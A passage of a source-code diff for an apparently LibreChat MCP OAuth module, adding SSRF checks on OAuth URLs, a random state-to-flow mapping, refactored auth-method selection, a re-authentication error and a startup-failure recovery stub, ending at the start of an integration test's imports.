-    const forcedAuthMethod = this.getForcedTokenEndpointAuthMethod(tokenExchangeMethod);
-
-    if (forcedAuthMethod) {
-      clientMetadata.token_endpoint_auth_method = forcedAuthMethod;
-    } else if (metadata.token_endpoint_auth_methods_supported) {
-      // Prefer client_secret_basic if supported, otherwise use the first supported method
-      if (metadata.token_endpoint_auth_methods_supported.includes('client_secret_basic')) {
-        clientMetadata.token_endpoint_auth_method = 'client_secret_basic';
-      } else if (metadata.token_endpoint_auth_methods_supported.includes('client_secret_post')) {
-        clientMetadata.token_endpoint_auth_method = 'client_secret_post';
-      } else if (metadata.token_endpoint_auth_methods_supported.includes('none')) {
-        clientMetadata.token_endpoint_auth_method = 'none';
-      } else {
-        clientMetadata.token_endpoint_auth_method =
-          metadata.token_endpoint_auth_methods_supported[0];
-      }
+    const selectedAuthMethod = selectRegistrationAuthMethod(
+      metadata.token_endpoint_auth_methods_supported,
+      tokenExchangeMethod,
+    );
+    if (selectedAuthMethod) {
+      clientMetadata.token_endpoint_auth_method = selectedAuthMethod;
     }
 
     const availableScopes = resourceMetadata?.scopes_supported || metadata.scopes_supported;
@@ -334,6 +331,7 @@ export class MCPOAuthHandler {
       fetchFn: this.createOAuthFetch(oauthHeaders),
     });
 
+    const forcedAuthMethod = getForcedTokenEndpointAuthMethod(tokenExchangeMethod);
     if (forcedAuthMethod) {
       clientInfo.token_endpoint_auth_method = forcedAuthMethod;
     } else if (!clientInfo.token_endpoint_auth_method) {
@@ -373,10 +371,14 @@ export class MCPOAuthHandler {
     logger.debug(`[MCPOAuth] Generated flowId: ${flowId}, state: ${state}`);
 
     try {
-      // Check if we have pre-configured OAuth settings
       if (config?.authorization_url && config?.token_url && config?.client_id) {
         logger.debug(`[MCPOAuth] Using pre-configured OAuth settings for ${serverName}`);
 
+        await Promise.all([
+          this.validateOAuthUrl(config.authorization_url, 'authorization_url'),
+          this.validateOAuthUrl(config.token_url, 'token_url'),
+        ]);
+
         const skipCodeChallengeCheck =
           config?.skip_code_challenge_check === true ||
           process.env.MCP_SKIP_CODE_CHALLENGE_CHECK === 'true';
@@ -401,8 +403,7 @@ export class MCPOAuthHandler {
           // When token_exchange_method is undefined or not DefaultPost, default to using
           // client_secret_basic (Basic Auth header) for token endpoint authentication.
           tokenEndpointAuthMethod =
-            this.getForcedTokenEndpointAuthMethod(config.token_exchange_method) ??
-            'client_secret_basic';
+            getForcedTokenEndpointAuthMethod(config.token_exchange_method) ?? 'client_secret_basic';
         }
 
         let defaultTokenAuthMethods: string[];
@@ -429,10 +430,11 @@ export class MCPOAuthHandler {
           code_challenge_methods_supported: codeChallengeMethodsSupported,
         };
         logger.debug(`[MCPOAuth] metadata for "${serverName}": ${JSON.stringify(metadata)}`);
+        const redirectUri = this.getDefaultRedirectUri(serverName);
         const clientInfo: OAuthClientInformation = {
           client_id: config.client_id,
           client_secret: config.client_secret,
-          redirect_uris: [config.redirect_uri || this.getDefaultRedirectUri(serverName)],
+          redirect_uris: [redirectUri],
           scope: config.scope,
           token_endpoint_auth_method: tokenEndpointAuthMethod,
         };
@@ -441,12 +443,12 @@ export class MCPOAuthHandler {
         const { authorizationUrl, codeVerifier } = await startAuthorization(serverUrl, {
           metadata: metadata as unknown as SDKOAuthMetadata,
           clientInformation: clientInfo,
-          redirectUrl: clientInfo.redirect_uris?.[0] || this.getDefaultRedirectUri(serverName),
+          redirectUrl: redirectUri,
           scope: config.scope,
         });
 
-        /** Add state parameter with flowId to the authorization URL */
-        authorizationUrl.searchParams.set('state', flowId);
+        /** Add cryptographic state parameter to the authorization URL */
+        authorizationUrl.searchParams.set('state', state);
         logger.debug(`[MCPOAuth] Added state parameter to authorization URL`);
 
         const flowMetadata: MCPOAuthFlowMetadata = {
@@ -481,8 +483,7 @@ export class MCPOAuthHandler {
         `[MCPOAuth] OAuth metadata discovered, auth server URL: ${sanitizeUrlForLogging(authServerUrl)}`,
       );
 
-      /** Dynamic client registration based on the discovered metadata */
-      const redirectUri = config?.redirect_uri || this.getDefaultRedirectUri(serverName);
+      const redirectUri = this.getDefaultRedirectUri(serverName);
       logger.debug(`[MCPOAuth] Registering OAuth client with redirect URI: ${redirectUri}`);
 
       const clientInfo = await this.registerOAuthClient(
@@ -524,15 +525,25 @@ export class MCPOAuthHandler {
           `[MCPOAuth] Authorization URL: ${sanitizeUrlForLogging(authorizationUrl.toString())}`,
         );
 
-        /** Add state parameter with flowId to the authorization URL */
-        authorizationUrl.searchParams.set('state', flowId);
+        /** Add cryptographic state parameter to the authorization URL */
+        authorizationUrl.searchParams.set('state', state);
         logger.debug(`[MCPOAuth] Added state parameter to authorization URL`);
 
         if (resourceMetadata?.resource != null && resourceMetadata.resource) {
-          authorizationUrl.searchParams.set('resource', resourceMetadata.resource);
-          logger.debug(
-            `[MCPOAuth] Added resource parameter to authorization URL: ${resourceMetadata.resource}`,
-          );
+          try {
+            const canonicalResource = new URL(resourceMetadata.resource).href;
+            authorizationUrl.searchParams.set('resource', canonicalResource);
+            logger.debug(
+              `[MCPOAuth] Added resource parameter to authorization URL: ${canonicalResource}`,
+            );
+          } catch (error) {
+            authorizationUrl.searchParams.set('resource', resourceMetadata.resource);
+            logger.error(
+              `[MCPOAuth] Invalid resource URL from metadata for ${serverName}: ` +
+                `'${resourceMetadata.resource}'. Using raw value as fallback.`,
+              error,
+            );
+          }
         } else {
           logger.warn(
             `[MCPOAuth] Resource metadata missing 'resource' property for ${serverName}. ` +
@@ -681,6 +692,62 @@ export class MCPOAuthHandler {
     return randomBytes(32).toString('base64url');
   }
 
+  /** Validates an OAuth URL is not targeting a private/internal address */
+  private static async validateOAuthUrl(url: string, fieldName: string): Promise<void> {
+    let hostname: string;
+    try {
+      hostname = new URL(url).hostname;
+    } catch {
+      throw new Error(`Invalid OAuth ${fieldName}: ${sanitizeUrlForLogging(url)}`);
+    }
+
+    if (isSSRFTarget(hostname)) {
+      throw new Error(`OAuth ${fieldName} targets a blocked address`);
+    }
+
+    if (await resolveHostnameSSRF(hostname)) {
+      throw new Error(`OAuth ${fieldName} resolves to a private IP address`);
+    }
+  }
+
+  private static readonly STATE_MAP_TYPE = 'mcp_oauth_state';
+
+  /**
+   * Stores a mapping from the opaque OAuth state parameter to the flowId.
+   * This allows the callback to resolve the flowId from an unguessable state
+   * value, preventing attackers from forging callback requests.
+   */
+  static async storeStateMapping(
+    state: string,
+    flowId: string,
+    flowManager: FlowStateManager<MCPOAuthTokens | null>,
+  ): Promise<void> {
+    await flowManager.initFlow(state, this.STATE_MAP_TYPE, { flowId });
+  }
+
+  /**
+   * Resolves an opaque OAuth state parameter back to the original flowId.
+   * Returns null if the state is not found (expired or never stored).
+   */
+  static async resolveStateToFlowId(
+    state: string,
+    flowManager: FlowStateManager<MCPOAuthTokens | null>,
+  ): Promise<string | null> {
+    const mapping = await flowManager.getFlowState(state, this.STATE_MAP_TYPE);
+    return (mapping?.metadata?.flowId as string) ?? null;
+  }
+
+  /**
+   * Deletes an orphaned state mapping when a flow is replaced.
+   * Prevents old authorization URLs from resolving after a flow restart.
+   */
+  static async deleteStateMapping(
+    state: string,
+    flowManager: FlowStateManager<MCPOAuthTokens | null>,
+  ): Promise<void> {
+    await flowManager.deleteFlow(state, this.STATE_MAP_TYPE);
+  }
+
   /**
    * Gets the default redirect URI for a server
    */
@@ -754,19 +821,20 @@ export class MCPOAuthHandler {
           scope: metadata.clientInfo.scope,
         });
 
-        /** Use the stored client information and metadata to determine the token URL */
         let tokenUrl: string;
         let authMethods: string[] | undefined;
         if (config?.token_url) {
+          await this.validateOAuthUrl(config.token_url, 'token_url');
           tokenUrl = config.token_url;
           authMethods = config.token_endpoint_auth_methods_supported;
         } else if (!metadata.serverUrl) {
           throw new Error('No token URL available for refresh');
         } else {
           /** Auto-discover OAuth configuration for refresh */
-          const oauthMetadata = await discoverAuthorizationServerMetadata(metadata.serverUrl, {
-            fetchFn: this.createOAuthFetch(oauthHeaders),
-          });
+          const serverUrl = new URL(metadata.serverUrl);
+          const fetchFn = this.createOAuthFetch(oauthHeaders);
+          const oauthMetadata = await this.discoverWithOriginFallback(serverUrl, fetchFn);
+
           if (!oauthMetadata) {
             /**
              * No metadata discovered - use fallback /token endpoint.
@@ -783,6 +851,7 @@ export class MCPOAuthHandler {
             tokenUrl = oauthMetadata.token_endpoint;
             authMethods = oauthMetadata.token_endpoint_auth_methods_supported;
           }
+          await this.validateOAuthUrl(tokenUrl, 'token_url');
         }
 
         const body = new URLSearchParams({
@@ -805,26 +874,23 @@ export class MCPOAuthHandler {
         if (metadata.clientInfo.client_secret) {
           /** Default to client_secret_basic if no methods specified (per RFC 8414) */
           const tokenAuthMethods = authMethods ?? ['client_secret_basic'];
-          const authMethod = this.resolveTokenEndpointAuthMethod({
+          const authMethod = resolveTokenEndpointAuthMethod({
             tokenExchangeMethod: config?.token_exchange_method,
             tokenAuthMethods,
             preferredMethod: metadata.clientInfo.token_endpoint_auth_method,
           });
 
           if (authMethod === 'client_secret_basic') {
-            /** Use Basic auth */
             logger.debug('[MCPOAuth] Using client_secret_basic authentication method');
             const clientAuth = Buffer.from(
               `${metadata.clientInfo.client_id}:${metadata.clientInfo.client_secret}`,
             ).toString('base64');
             headers['Authorization'] = `Basic ${clientAuth}`;
           } else if (authMethod === 'client_secret_post') {
-            /** Use client_secret_post */
             logger.debug('[MCPOAuth] Using client_secret_post authentication method');
             body.append('client_id', metadata.clientInfo.client_id);
             body.append('client_secret', metadata.clientInfo.client_secret);
           } else {
-            /** No recognized method, default to Basic auth per RFC */
             logger.debug('[MCPOAuth] No recognized auth method, defaulting to client_secret_basic');
             const clientAuth = Buffer.from(
               `${metadata.clientInfo.client_id}:${metadata.clientInfo.client_secret}`,
@@ -859,10 +925,10 @@ export class MCPOAuthHandler {
         return this.processRefreshResponse(tokens, metadata.serverName, 'stored client info');
       }
 
-      // Fallback: If we have pre-configured OAuth settings, use them
       if (config?.token_url && config?.client_id) {
         logger.debug(`[MCPOAuth] Using pre-configured OAuth settings for token refresh`);
 
+        await this.validateOAuthUrl(config.token_url, 'token_url');
         const tokenUrl = new URL(config.token_url);
 
         const body = new URLSearchParams({
@@ -886,13 +952,12 @@ export class MCPOAuthHandler {
           const tokenAuthMethods = config.token_endpoint_auth_methods_supported ?? [
             'client_secret_basic',
           ];
-          const authMethod = this.resolveTokenEndpointAuthMethod({
+          const authMethod = resolveTokenEndpointAuthMethod({
             tokenExchangeMethod: config.token_exchange_method,
             tokenAuthMethods,
           });
 
           if (authMethod === 'client_secret_basic') {
-            /** Use Basic auth */
             logger.debug(
               '[MCPOAuth] Using client_secret_basic authentication method (pre-configured)',
             );
@@ -901,14 +966,12 @@ export class MCPOAuthHandler {
             );
             headers['Authorization'] = `Basic ${clientAuth}`;
           } else if (authMethod === 'client_secret_post') {
-            /** Use client_secret_post */
             logger.debug(
               '[MCPOAuth] Using client_secret_post authentication method (pre-configured)',
             );
             body.append('client_id', config.client_id);
             body.append('client_secret', config.client_secret);
           } else {
-            /** No recognized method, default to Basic auth per RFC */
             logger.debug(
               '[MCPOAuth] No recognized auth method, defaulting to client_secret_basic (pre-configured)',
             );
@@ -946,9 +1009,9 @@ export class MCPOAuthHandler {
       }
 
       /** Auto-discover OAuth configuration for refresh */
-      const oauthMetadata = await discoverAuthorizationServerMetadata(metadata.serverUrl, {
-        fetchFn: this.createOAuthFetch(oauthHeaders),
-      });
+      const serverUrl = new URL(metadata.serverUrl);
+      const fetchFn = this.createOAuthFetch(oauthHeaders);
+      const oauthMetadata = await this.discoverWithOriginFallback(serverUrl, fetchFn);
 
       let tokenUrl: URL;
       if (!oauthMetadata?.token_endpoint) {
@@ -963,6 +1026,7 @@ export class MCPOAuthHandler {
       } else {
         tokenUrl = new URL(oauthMetadata.token_endpoint);
       }
+      await this.validateOAuthUrl(tokenUrl.href, 'token_url');
 
       const body = new URLSearchParams({
         grant_type: 'refresh_token',
@@ -1012,38 +1076,31 @@ export class MCPOAuthHandler {
     },
     oauthHeaders: Record<string, string> = {},
   ): Promise<void> {
-    // build the revoke URL, falling back to the server URL + /revoke if no revocation endpoint is provided
+    if (metadata.revocationEndpoint != null) {
+      await this.validateOAuthUrl(metadata.revocationEndpoint, 'revocation_endpoint');
+    }
     const revokeUrl: URL =
       metadata.revocationEndpoint != null
         ? new URL(metadata.revocationEndpoint)
         : new URL('/revoke', metadata.serverUrl);
 
-    // detect auth method to use
-    const authMethods = metadata.revocationEndpointAuthMethodsSupported ?? [
-      'client_secret_basic', // RFC 8414 (https://datatracker.ietf.org/doc/html/rfc8414)
-    ];
-    const usesBasicAuth = authMethods.includes('client_secret_basic');
-    const usesClientSecretPost = authMethods.includes('client_secret_post');
+    const authMethods = metadata.revocationEndpointAuthMethodsSupported ?? ['client_secret_basic'];
+    const authMethod = resolveTokenEndpointAuthMethod({ tokenAuthMethods: authMethods });
 
-    // init the request headers
     const headers: Record<string, string> = {
       'Content-Type': 'application/x-www-form-urlencoded',
       ...oauthHeaders,
     };
 
-    // init the request body
     const body = new URLSearchParams({ token });
     body.set('token_type_hint', tokenType === 'refresh' ? 'refresh_token' : 'access_token');
 
-    // process auth method
-    if (usesBasicAuth) {
-      // encode the client id and secret and add to the headers
+    if (authMethod === 'client_secret_basic') {
       const credentials = Buffer.from(`${metadata.clientId}:${metadata.clientSecret}`).toString(
         'base64',
       );
       headers['Authorization'] = `Basic ${credentials}`;
-    } else if (usesClientSecretPost) {
-      // add the client id and secret to the body
+    } else if (authMethod === 'client_secret_post') {
       body.set('client_secret', metadata.clientSecret);
       body.set('client_id', metadata.clientId);
     }
diff --git a/packages/api/src/mcp/oauth/index.ts b/packages/api/src/mcp/oauth/index.ts
index d9c75071e0..1c4d98213e 100644
--- a/packages/api/src/mcp/oauth/index.ts
+++ b/packages/api/src/mcp/oauth/index.ts
@@ -2,3 +2,4 @@ export * from './types';
 export * from './handler';
 export * from './tokens';
 export * from './detectOAuth';
+export * from './methods';
diff --git a/packages/api/src/mcp/oauth/methods.ts b/packages/api/src/mcp/oauth/methods.ts
new file mode 100644
index 0000000000..a2b7cfd1e2
--- /dev/null
+++ b/packages/api/src/mcp/oauth/methods.ts
@@ -0,0 +1,111 @@
+import { TokenExchangeMethodEnum } from 'librechat-data-provider';
+
+type ClientAuthMethod = 'client_secret_basic' | 'client_secret_post' | 'none';
+
+/** Unordered roster of auth methods we can handle — order is irrelevant; server's list controls priority */
+const SUPPORTED_AUTH_METHODS: ReadonlySet<string> = new Set<ClientAuthMethod>([
+  'client_secret_basic',
+  'client_secret_post',
+  'none',
+]);
+
+/** Maps a user-facing `TokenExchangeMethodEnum` to an OAuth auth method string. */
+export function getForcedTokenEndpointAuthMethod(
+  tokenExchangeMethod?: TokenExchangeMethodEnum,
+): 'client_secret_basic' | 'client_secret_post' | undefined {
+  if (tokenExchangeMethod === TokenExchangeMethodEnum.DefaultPost) {
+    return 'client_secret_post';
+  }
+  if (tokenExchangeMethod === TokenExchangeMethodEnum.BasicAuthHeader) {
+    return 'client_secret_basic';
+  }
+  return undefined;
+}
+
+/**
+ * Selects the auth method to request during dynamic client registration.
+ *
+ * Priority:
+ * 1. Forced override from `tokenExchangeMethod` config
+ * 2. First credential-based method from server's advertised list (skips `none` per RFC 7591 —
+ *    `none` declares a public client, which is incorrect for DCR with a generated secret)
+ * 3. `none` if the server only advertises `none`
+ * 4. Server's first listed method (unsupported exotic method — best-effort)
+ * 5. Falls through to `undefined` (caller keeps its default)
+ */
+export function selectRegistrationAuthMethod(
+  serverAdvertised: string[] | undefined,
+  tokenExchangeMethod?: TokenExchangeMethodEnum,
+): string | undefined {
+  const forced = getForcedTokenEndpointAuthMethod(tokenExchangeMethod);
+  if (forced) {
+    return forced;
+  }
+
+  if (!serverAdvertised?.length) {
+    return undefined;
+  }
+
+  const credentialPreferred = serverAdvertised.find(
+    (m) => SUPPORTED_AUTH_METHODS.has(m) && m !== 'none',
+  );
+  if (credentialPreferred) {
+    return credentialPreferred;
+  }
+
+  const serverPreferred = serverAdvertised.find((m) => SUPPORTED_AUTH_METHODS.has(m));
+  return serverPreferred ?? serverAdvertised[0];
+}
+
+/**
+ * Resolves the auth method for token endpoint requests (refresh, pre-configured flows).
+ *
+ * Priority:
+ * 1. Forced override from `tokenExchangeMethod` config
+ * 2. Preferred method from client registration response (`clientInfo.token_endpoint_auth_method`)
+ * 3. First match from server's advertised methods
+ */
+export function resolveTokenEndpointAuthMethod(options: {
+  tokenExchangeMethod?: TokenExchangeMethodEnum;
+  tokenAuthMethods: string[];
+  preferredMethod?: string;
+}): 'client_secret_basic' | 'client_secret_post' | undefined {
+  const forced = getForcedTokenEndpointAuthMethod(options.tokenExchangeMethod);
+  const preferredMethod = forced ?? options.preferredMethod;
+
+  if (preferredMethod === 'client_secret_basic' || preferredMethod === 'client_secret_post') {
+    return preferredMethod;
+  }
+
+  if (options.tokenAuthMethods.includes('client_secret_basic')) {
+    return 'client_secret_basic';
+  }
+  if (options.tokenAuthMethods.includes('client_secret_post')) {
+    return 'client_secret_post';
+  }
+  return undefined;
+}
+
+/**
+ * Infers the client auth method from request state when `clientInfo.token_endpoint_auth_method`
+ * is not set. Used inside the fetch wrapper to determine how credentials were applied by the SDK.
+ *
+ * Per RFC 8414 Section 2, defaults to `client_secret_basic` for confidential clients.
+ */
+export function inferClientAuthMethod(
+  hasAuthorizationHeader: boolean,
+  hasBodyClientId: boolean,
+  hasBodyClientSecret: boolean,
+  hasClientSecret: boolean,
+): ClientAuthMethod {
+  if (hasAuthorizationHeader) {
+    return 'client_secret_basic';
+  }
+  if (hasBodyClientId || hasBodyClientSecret) {
+    return 'client_secret_post';
+  }
+  if (hasClientSecret) {
+    return 'client_secret_basic';
+  }
+  return 'none';
+}
diff --git a/packages/api/src/mcp/oauth/tokens.ts b/packages/api/src/mcp/oauth/tokens.ts
index 005ed7dd9a..6094a05386 100644
--- a/packages/api/src/mcp/oauth/tokens.ts
+++ b/packages/api/src/mcp/oauth/tokens.ts
@@ -4,6 +4,15 @@ import type { TokenMethods, IToken } from '@librechat/data-schemas';
 import type { MCPOAuthTokens, ExtendedOAuthTokens, OAuthMetadata } from './types';
 import { isSystemUserId } from '~/mcp/enum';
 
+export class ReauthenticationRequiredError extends Error {
+  constructor(serverName: string, reason: 'expired' | 'missing') {
+    super(
+      `Re-authentication required for "${serverName}": access token ${reason} and no refresh token available`,
+    );
+    this.name = 'ReauthenticationRequiredError';
+  }
+}
+
 interface StoreTokensParams {
   userId: string;
   serverName: string;
@@ -27,7 +36,12 @@ interface GetTokensParams {
   findToken: TokenMethods['findToken'];
   refreshTokens?: (
     refreshToken: string,
-    metadata: { userId: string; serverName: string; identifier: string },
+    metadata: {
+      userId: string;
+      serverName: string;
+      identifier: string;
+      clientInfo?: OAuthClientInformation;
+    },
   ) => Promise<MCPOAuthTokens>;
   createToken?: TokenMethods['createToken'];
   updateToken?: TokenMethods['updateToken'];
@@ -69,46 +83,40 @@ export class MCPTokenStorage {
         `${logPrefix} Token expires_in: ${'expires_in' in tokens ? tokens.expires_in : 'N/A'}, expires_at: ${'expires_at' in tokens ? tokens.expires_at : 'N/A'}`,
       );
 
-      // Handle both expires_in and expires_at formats
+      const defaultTTL = 365 * 24 * 60 * 60;
+
       let accessTokenExpiry: Date;
+      let expiresInSeconds: number;
       if ('expires_at' in tokens && tokens.expires_at) {
         /** MCPOAuthTokens format - already has calculated expiry */
         logger.debug(`${logPrefix} Using expires_at: ${tokens.expires_at}`);
         accessTokenExpiry = new Date(tokens.expires_at);
+        expiresInSeconds = Math.floor((accessTokenExpiry.getTime() - Date.now()) / 1000);
       } else if (tokens.expires_in) {
-        /** Standard OAuthTokens format - calculate expiry */
+        /** Standard OAuthTokens format - use expires_in directly to avoid lossy Date round-trip */
         logger.debug(`${logPrefix} Using expires_in: ${tokens.expires_in}`);
+        expiresInSeconds = tokens.expires_in;
         accessTokenExpiry = new Date(Date.now() + tokens.expires_in * 1000);
       } else {
-        /** No expiry provided - default to 1 year */
         logger.debug(`${logPrefix} No expiry provided, using default`);
-        accessTokenExpiry = new Date(Date.now() + 365 * 24 * 60 * 60 * 1000);
+        expiresInSeconds = defaultTTL;
+        accessTokenExpiry = new Date(Date.now() + defaultTTL * 1000);
       }
 
       logger.debug(`${logPrefix} Calculated expiry date: ${accessTokenExpiry.toISOString()}`);
-      logger.debug(
-        `${logPrefix} Date object: ${JSON.stringify({
-          time: accessTokenExpiry.getTime(),
-          valid: !isNaN(accessTokenExpiry.getTime()),
-          iso: accessTokenExpiry.toISOString(),
-        })}`,
-      );
 
-      // Ensure the date is valid before passing to createToken
       if (isNaN(accessTokenExpiry.getTime())) {
         logger.error(`${logPrefix} Invalid expiry date calculated, using default`);
-        accessTokenExpiry = new Date(Date.now() + 365 * 24 * 60 * 60 * 1000);
+        accessTokenExpiry = new Date(Date.now() + defaultTTL * 1000);
+        expiresInSeconds = defaultTTL;
       }
 
-      // Calculate expiresIn (seconds from now)
-      const expiresIn = Math.floor((accessTokenExpiry.getTime() - Date.now()) / 1000);
-
       const accessTokenData = {
         userId,
         type: 'mcp_oauth',
         identifier,
         token: encryptedAccessToken,
-        expiresIn: expiresIn > 0 ? expiresIn : 365 * 24 * 60 * 60, // Default to 1 year if negative
+        expiresIn: expiresInSeconds > 0 ? expiresInSeconds : defaultTTL,
       };
 
       // Check if token already exists and update if it does
@@ -273,10 +281,11 @@ export class MCPTokenStorage {
         });
 
         if (!refreshTokenData) {
+          const reason = isMissing ? 'missing' : 'expired';
           logger.info(
-            `${logPrefix} Access token ${isMissing ? 'missing' : 'expired'} and no refresh token available`,
+            `${logPrefix} Access token ${reason} and no refresh token available — re-authentication required`,
           );
-          return null;
+          throw new ReauthenticationRequiredError(serverName, reason);
         }
 
         if (!refreshTokens) {
@@ -395,6 +404,9 @@ export class MCPTokenStorage {
       logger.debug(`${logPrefix} Loaded existing OAuth tokens from storage`);
       return tokens;
     } catch (error) {
+      if (error instanceof ReauthenticationRequiredError) {
+        throw error;
+      }
       logger.error(`${logPrefix} Failed to retrieve tokens`, error);
       return null;
     }
diff --git a/packages/api/src/mcp/oauth/types.ts b/packages/api/src/mcp/oauth/types.ts
index 178e20e35b..2138b4a782 100644
--- a/packages/api/src/mcp/oauth/types.ts
+++ b/packages/api/src/mcp/oauth/types.ts
@@ -88,6 +88,7 @@ export interface MCPOAuthFlowMetadata extends FlowMetadata {
   clientInfo?: OAuthClientInformation;
   metadata?: OAuthMetadata;
   resourceMetadata?: OAuthProtectedResourceMetadata;
+  authorizationUrl?: string;
 }
 
 export interface MCPOAuthTokens extends OAuthTokens {
diff --git a/packages/api/src/mcp/registry/MCPServerInspector.ts b/packages/api/src/mcp/registry/MCPServerInspector.ts
index 50da9cdc25..eea52bbf2e 100644
--- a/packages/api/src/mcp/registry/MCPServerInspector.ts
+++ b/packages/api/src/mcp/registry/MCPServerInspector.ts
@@ -59,8 +59,9 @@ export class MCPServerInspector {
       if (!this.connection) {
         tempConnection = true;
         this.connection = await MCPConnectionFactory.create({
-          serverName: this.serverName,
           serverConfig: this.config,
+          serverName: this.serverName,
+          dbSourced: !!this.config.dbId,
           useSSRFProtection: this.useSSRFProtection,
         });
       }
diff --git a/packages/api/src/mcp/registry/MCPServersInitializer.ts b/packages/api/src/mcp/registry/MCPServersInitializer.ts
index 92505db12b..a8b8e3ca8a 100644
--- a/packages/api/src/mcp/registry/MCPServersInitializer.ts
+++ b/packages/api/src/mcp/registry/MCPServersInitializer.ts
@@ -1,11 +1,10 @@
-import { registryStatusCache as statusCache } from './cache/RegistryStatusCache';
-import { isLeader } from '~/cluster';
-import { withTimeout } from '~/utils';
 import { logger } from '@librechat/data-schemas';
-import { ParsedServerConfig } from '~/mcp/types';
-import { sanitizeUrlForLogging } from '~/mcp/utils';
 import type * as t from '~/mcp/types';
+import { registryStatusCache as statusCache } from './cache/RegistryStatusCache';
 import { MCPServersRegistry } from './MCPServersRegistry';
+import { sanitizeUrlForLogging } from '~/mcp/utils';
+import { withTimeout } from '~/utils';
+import { isLeader } from '~/cluster';
 
 const MCP_INIT_TIMEOUT_MS =
   process.env.MCP_INIT_TIMEOUT_MS != null ? parseInt(process.env.MCP_INIT_TIMEOUT_MS) : 30_000;
@@ -80,11 +79,22 @@ export class MCPServersInitializer {
       MCPServersInitializer.logParsedConfig(serverName, result.config);
     } catch (error) {
       logger.error(`${MCPServersInitializer.prefix(serverName)} Failed to initialize:`, error);
+      try {
+        await MCPServersRegistry.getInstance().addServerStub(serverName, rawConfig, 'CACHE');
+        logger.info(
+          `${MCPServersInitializer.prefix(serverName)} Stored stub config for recovery via reinitialize`,
+        );
+      } catch (stubError) {
+        logger.error(
+          `${MCPServersInitializer.prefix(serverName)} Failed to store stub config:`,
+          stubError,
+        );
+      }
     }
   }
 
   // Logs server configuration summary after initialization
-  private static logParsedConfig(serverName: string, config: ParsedServerConfig): void {
+  private static logParsedConfig(serverName: string, config: t.ParsedServerConfig): void {
     const prefix = MCPServersInitializer.prefix(serverName);
     logger.info(`${prefix} -------------------------------------------------┐`);
     logger.info(`${prefix} URL: ${config.url ? sanitizeUrlForLogging(config.url) : 'N/A'}`);
diff --git a/packages/api/src/mcp/registry/MCPServersRegistry.ts b/packages/api/src/mcp/registry/MCPServersRegistry.ts
index 0264a8ed7a..506f5b1baa 100644
--- a/packages/api/src/mcp/registry/MCPServersRegistry.ts
+++ b/packages/api/src/mcp/registry/MCPServersRegistry.ts
@@ -144,6 +144,24 @@ export class MCPServersRegistry {
     return result;
   }
 
+  /**
+   * Stores a minimal config stub so the server remains "known" to the registry
+   * even when inspection fails at startup. This enables reinitialize to recover.
+   */
+  public async addServerStub(
+    serverName: string,
+    config: t.MCPOptions,
+    storageLocation: 'CACHE' | 'DB',
+    userId?: string,
+  ): Promise<t.AddServerResult> {
+    const configRepo = this.getConfigRepository(storageLocation);
+    const stubConfig: t.ParsedServerConfig = { ...config, inspectionFailed: true };
+    const result = await configRepo.add(serverName, stubConfig, userId);
+    await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName, userId));
+    await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName));
+    return result;
+  }
+
   public async addServer(
     serverName: string,
     config: t.MCPOptions,
@@ -170,6 +188,52 @@ export class MCPServersRegistry {
     return await configRepo.add(serverName, parsedConfig, userId);
   }
 
+  /**
+   * Re-inspects a server that previously failed initialization.
+   * Uses the stored stub config to attempt a full inspection and replaces the stub on success.
+   */
+  public async reinspectServer(
+    serverName: string,
+    storageLocation: 'CACHE' | 'DB',
+    userId?: string,
+  ): Promise<t.AddServerResult> {
+    const configRepo = this.getConfigRepository(storageLocation);
+    const existing = await configRepo.get(serverName, userId);
+    if (!existing) {
+      throw new Error(`Server "${serverName}" not found in ${storageLocation} for reinspection.`);
+    }
+    if (!existing.inspectionFailed) {
+      throw new Error(
+        `Server "${serverName}" is not in a failed state. Use updateServer() instead.`,
+      );
+    }
+
+    const { inspectionFailed: _, ...configForInspection } = existing;
+    let parsedConfig: t.ParsedServerConfig;
+    try {
+      parsedConfig = await MCPServerInspector.inspect(
+        serverName,
+        configForInspection,
+        undefined,
+        this.allowedDomains,
+      );
+    } catch (error) {
+      logger.error(`[MCPServersRegistry] Reinspection failed for server "${serverName}":`, error);
+      if (isMCPDomainNotAllowedError(error)) {
+        throw error;
+      }
+      throw new MCPInspectionFailedError(serverName, error as Error);
+    }
+
+    const updatedConfig = { ...parsedConfig, updatedAt: Date.now() };
+    await configRepo.update(serverName, updatedConfig, userId);
+    await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName, userId));
+    await this.readThroughCache.delete(this.getReadThroughCacheKey(serverName));
+    // Full clear required: getAllServerConfigs is keyed by userId with no reverse index to enumerate cached keys
+    await this.readThroughCacheAll.clear();
+    return { serverName, config: updatedConfig };
+  }
+
   public async updateServer(
     serverName: string,
     config: t.MCPOptions,
diff --git a/packages/api/src/mcp/registry/__tests__/MCPReinitRecovery.integration.test.ts b/packages/api/src/mcp/registry/__tests__/MCPReinitRecovery.integration.test.ts
new file mode 100644
index 0000000000..9545486fde
--- /dev/null
+++ b/packages/api/src/mcp/registry/__tests__/MCPReinitRecovery.integration.test.ts
@@ -0,0 +1,488 @@
+/**
+ * Integration tests for MCP server reinitialize recovery (issue #12143).
+ *
+ * Reproduces the bug: when an MCP server is unreachable at startup,
+ * inspection fails and the server config is never stored — making the
+ * reinitialize button return 404 and blocking all recovery.
+ *
+ * These tests spin up a real in-process MCP server using the SDK's
+ * StreamableHTTPServerTransport and exercise the full
+ * MCPServersInitializer → MCPServersRegistry → MCPServerInspector pipeline
+ * with real connections — no mocked transports, no mocked inspections.
+ *
+ * Minimal mocks: only logger, auth/SSRF, cluster, mcpConfig, and DB repo
+ * (to avoid MongoDB). Everything else — the inspector, registry, cache,
+ * initializer, and MCP connection — runs for real.
+ */
+
+import * as net from 'net';
+import * as http from 'http';
+import { Keyv } from 'keyv';
+import { Agent } from 'undici';
+import { Types } from 'mongoose';
+import { randomUUID } from 'crypto';
+import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
+import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
+import type { IUser } from '@librechat/data-schemas';
+import type { Socket } from 'net';
+import type * as t from '~/mcp/types';
+import { registryStatusCache } from '~/mcp/registry/cache/RegistryStatusCache';
+import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer';
+import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry';
+import { ConnectionsRepository } from '~/mcp/ConnectionsRepository';
+import { MCPInspectionFailedError } from '~/mcp/errors';
+import { FlowStateManager } from '~/flow/manager';
+import { MCPConnection } from '~/mcp/connection';
